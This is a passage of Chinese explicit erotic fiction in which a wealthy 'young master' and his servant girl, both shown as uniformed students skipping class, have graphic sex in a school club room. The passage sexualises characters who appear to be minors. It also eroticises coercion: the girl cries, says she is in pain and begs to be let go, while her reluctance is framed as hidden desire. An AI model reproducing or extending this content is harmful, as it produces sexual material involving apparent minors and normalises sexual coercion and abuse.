“念慈少爷好像天生就很聪明,都没见他用功读书过。”不像她,只要仁咏慈没有缠著她,就把所有的时间都用来看书,即使这样也很难考过仁念慈。
“你怎麽这麽清楚的?你关心他!”仁咏慈的脸冷下来。
“没有没有,因为他坐在我的後面,所以我才知道他不怎麽来上课。不上课还能考那麽好,我有些嫉妒……”
“不是因为喜欢?你最喜欢学习好的人吧?”
伊人要怎麽回答?她是喜欢知识型的人,不论男女,都觉得那类人看起来很聪明也很深奥。可是仁念慈那个种人她是万万不会喜欢的。以前他总是冷言冷语地讥笑她,现在又升级为动手动脚地凌辱她,这样的人,她怎麽会喜欢!
“不!我不喜欢他。”伊人肯定地说。
仁咏慈看她眼中隐约有恨意,高兴起来。他还没有想到伊人讨厌仁念慈是因为他们有那种关系,单纯地以为伊人只是嫉妒仁念慈比她聪明。男孩捧起怀中小人的脸颊,微笑地说:“以後除了我,谁也不许喜欢,女人也不行!”
“哦……”伊人乖乖地答应。她心里喜欢谁,少爷也不可能全猜得到!
“你要记在心里,永远都不能忘,只能喜欢我。”
“我不会忘。”他这麽努力地欺负她,这个仇怎麽可能忘得掉。
感觉伊人不太专心,仁咏慈惩罚地吻上她的小嘴。“呜……”伊人嘴唇被咬得好痛,少爷又用舌头探到里面,勾起她的舌头一起搅个不停。此时应该上课了吧?伊人掀起眼皮看墙上的挂锺,完了,她又旷课一节!赶在铃前到教室的希望完全破灭,焦虑反而降下许多,有种破罐子破摔的心态。仁咏慈抱紧伊人的时候,女孩的双手也顺势环在他的颈上,小穴里的那根肉棒又变大了,她可以感觉到自己慢慢被撑满的过程。
好奇怪啊,为什麽这些男孩总是可以随时让自己的阴茎变大呢?这种事情是身为女性的伊人永远都无法理解的。为什麽总要欺负她,为什麽见到她就会发情,为什麽他们脐下三寸的那根肉棒会有那麽大的精力?在她里面的时候,会有多麽舒服?舒服到抓著她不肯松手,一遍又一遍地射出炙热的液体,逼她在天堂与地狱间徘徊,找不到出路。
“啊……”仁咏慈吻得她快透不过气了,伊人不满地哼出声,他才松开一点点。四片唇瓣分开些许距离,口水扯出的银线却连著不断。男孩喘出的粗气喷到她脸上,混著浓浓的情欲,下身动了动,肉棒更深地顶到女孩体内。
“哦!”伊人轻呼,她的腿已经麻了,稍微动一下都会引起全身的痉挛。因为实在太难受,伊人只好求道:“我、我的腿不行了,都没有感觉了。”从开始做,她的双腿就一直分开,跨坐在男孩身上,像青蛙那样呈M型姿势。大腿根的筋刺痛不说,腰也使不上力气。
仁咏慈被她一说,也觉得自己这个姿势维持得太久了,有些酸麻。他对伊人扯了个魅笑,问:“你想换成什麽姿势?正面上,还是後背式?”
“我想站起来……”伊人只是想站直腿,让肌肉放松一下。
“好啦,听你的!”
他们俩原本的姿势是仁咏慈坐在沙发上,伊人面对面地叠坐在他腿上,下体相连。男孩抱著女孩侧倾,将她放倒在沙发上,换成她在下他在上,两人都横躺在沙发上。然後仁咏慈的一只脚站到地上,慢慢地直起身体,让两人的下体分离。
肉棒缓缓脱离出小穴,被撑大的穴道内壁失去堵塞的东西,急剧地收缩。龟头撤出的那一刻,里面积累的液体立刻被压力挤出来,只听“噗噗”几声,从伊人的小穴里喷出好大一股白液。
“啊!”女孩吓得从沙发上坐起来,发现身下流了好大滩浓液。那不全是她分泌的东西,可是从肚子里流出这麽多,还是感觉很丢人。就在为难的时候,穴道里还不停地往外流淫水,随著她移动又沾染到别的沙发皮面上。
“怎麽这样……”伊人无助地用手去擦,越弄越脏。
仁咏慈站在一边,低头看她在沙发上的小动作,觉得很好笑。
“好啦好啦,那些会有人来打扫的。”
“可是清扫的人一看就知道这是什麽。”
“不要怕,俱乐部里干这事儿的人多了,你刚才捡到的扣子大概就是哪个家夥激动时从衣服上扯掉的。”
扣子还握在伊人的一只手里,她摊开掌心,看到已经被手心汗水浸得潮湿的扣子,好奇地问:“会是谁呢?”
“管他是谁的,也许看到哪个人校服少颗扣子,就是他了。”
“嗯。”伊人点点头,又握紧扣子。
此时仁咏慈将没有脱尽的裤子完全踢掉,指著自己的分身,对伊人说:“现在我们来把这个小家夥的问题解决了吧。”
女孩抬头一看,那根红色的南傍国高高地翘著,冲著她微微抖动。这哪里小家夥?是大家夥啊!她想著就脸红了,私处的感觉又占据了主要注意力,又酸又痛又麻又空……怎麽回事?明明才做过的,在里面射了那麽多,她应该已经受够了,可是居然会有空虚感由内而升,真的很想要那个巨大的东西进到自己里面。
“不、不要了吧……”伊人心口不一地说。
“不要什麽?”仁咏慈阴阴地笑,一把拉起伊人。女孩的脚是软的,根本站不住。她摇摆了几下,倚到仁咏慈的身上,小腹被肉棒顶著。男孩摸到她的屁股,顺手将裙扣给解开,已经发皱又沾了污渍的墨蓝色校服裙飘落到地面上,再也不用跟著主人随风起舞了。
现在伊人全身赤裸,衣服丢得满地都是,只有袜子还套在脚上。她冬天嫌冷,少爷又不许穿衬裤,於是只好靠穿长过膝盖的厚袜子来保温。黑色的袜子松松垮垮地堆在脚踝处,上面也沾了不少乳白色的精斑。
仁咏慈揽著伊人离开沙发,走几步,到了沙发对面的空墙,把她按在墙面上站定,然後抬起女孩的一条大腿。私处的花芯因为双腿分开,再度暴露出来,里面还有些精液的残留,女孩随走,随往外流,沾得穴口、花瓣、腿根都有好多。
右腿被抬得好高,多亏伊人的身体软度够大才没被拉得很痛,只是姿势这一变,小穴无形被扯大了,眼看里面又有淫水往外流。仁咏慈将阴茎对准穴口,那些液体便被堵住了。他一用力,顺著充分润滑的甬道,整根沿入。
“啊啊!”伊人娇声高叫。因为是被由下而上的顶入,所以人都上升了几分。
最初的紧张过去之後,仁咏慈享受了一会儿被女体紧包的感觉。伊人的阴道里面又湿又暖,肉壁不停地律动,他插进去,将本来流到穴口快出来的残余液体都给推了回去,顶的时候都能听到挤水发出的噗嗤声。
“啊……哈哈……哈哈……”女孩发出粗重的娇喘,才经历过性爱的身体这麽短时间又被侵入,在填充了饥渴感的同时,也让她很痛苦。
少爷的肉棒太粗大了!刚才拔出来,小穴还没来得及收缩复原,又这麽快又麽粗暴地插进去,肉壁好像都要被扯裂了,发出灼烧般的疼痛。
“怎麽了?”仁咏慈看她拧起的小脸,关切地问。
“有些痛……啊……”真的挺疼,她的阴唇好像从来都没有机会消肿。痛感牵动了女孩的身体,整个阴道都在收缩蠕动,想要将异物给推挤出去。这种现象产生的作用让男孩吃惊,阴茎的侧壁被层层嫩肉按摩著,强大的压力带来极致的快感,好像就在一两秒之间,他就有了要射精的冲动。
“老天!”仁咏慈太息一声,立刻将伊人的右腿挂在自己的脖子上。粗棒退出一点点,然後又快速地插进去,这短瞬的摩擦,便可产生快慰,还能分散想射精的念头。男孩立刻开始抽送起来,先是快速而短途地移动,等伊人适应了之後,又慢慢地拉长距离。
他的阴茎很长,可以捅到女孩很深的地方,而伊人的阴道似乎也极有容纳力,无论仁咏慈的肉棒变得多粗多长,她都可以全部吞下去。於是那根又长又粗,热得发烫的肉茎,在最初的悸动过後,开始慢慢地享用女孩柔嫩的小穴了。巨大的龙首撤至穴口,但却不肯出去,穴道里的液体也涌到浅处,停了没有一秒,巨棒又狠地向上顶去,在瞬间推至子宫口。
“啊啊啊!”伊人张大嘴巴呼叫,叫得撕心裂肺。小穴里的积液有部分从肉缝中溢出去,更多的则被推回到阴道深处。
这只是一个来回的描述,仁咏慈不断地重复这个动作,出出进进,深深浅浅。
只听得整个屋子里面,全是伊人的呻吟在回荡。肉体快速地拍击,发出啪啪之声,为女孩的高声吟叫打著节拍。每一次阴茎用力插入之後,都有大股的淫水被挤出来,劈劈噗噗不绝於耳。还有女孩的後背摩擦墙壁所发出的细微声响,混在大合奏之中听不出来。还有仁咏慈粗重的呼吸声……所有的杂音噪音、淫靡之音都灌满的伊人的耳朵。
她无法分辨现实与梦境了,只能感觉到的是自己体内有条巨龙,要把她全部吃掉。又热又麻又兴奋,欲望不停歇地冲击著她,几乎溺毙。
“太快了……不……受不了……啊……啊啊,啊!”
伊人眼睛什麽都看不到,泪水随著仁咏慈冲刺的节奏在往外流。她口中喃喃地叫著,双手无力地搭在男孩肩头,原来握紧的扣子也不知何时候掉在地上,除了那根极速挺进的粗硕男根,她什麽都不知道了。
“啊……啊……少爷……放过我吧……不行了!啊啊啊!”
叫声越来越凄惨,下体也越来越泥泞,被射入的精液,混著她的体液,不停地往外滴溅。女孩的阴蒂红肿胀大,每次碰到都会刺痛,她喊得嗓子都哑了,可又有谁会在乎呢?
“啊……哈……”
仁咏慈只顾著自己快乐,狂风暴雨般地侵袭弱小的伊人。过了不知多久,伊人都快发不出声音了,他也到了极点。粗棒戛然而止,然後喷射出大量热液,冲刷女孩的阴道。好多好多,伊人觉得里面的肉茎跳个不停,感觉到液体多得快要把她撑爆了。她失去最後的力气,左腿一弯,人也滑下去。两人的性器终於分开,肉棒脱离的瞬间,伊人的小穴又开始喷射淫水,像男人尿尿那样,溅得远处都有。
“啊!”女孩氤氲的眼睛看到这副景象,羞得无地自容。
她实在是太淫乱了!身体颤抖的同时,还不断地往外流水……
仁咏慈低下头,看著伊人瘫软地倚墙而坐,分开的大腿间,小穴里汩汩涌出浓稠液体。他心中一动,又有了感觉,蹲下身体,与伊人几乎平行。
“伊人。”他叫她。
女孩困难地掀起眼皮,先是看到少爷布满情欲的俊容,他笑得很邪恶,一看便知是打著坏主意的。
“嗯,我看换个做爱的地点,兴奋感就会增加很多。在学校比在家里有趣多了!”
“哎?”伊人不解。待她视线下移,看到仁咏慈因为蹲坐而弯曲的双腿间,男性分身还像根旗杆那样直直地挺立,立刻惊得全身一凛。怎麽会这样!不是都射过两次了麽,他怎麽还可以硬得起来!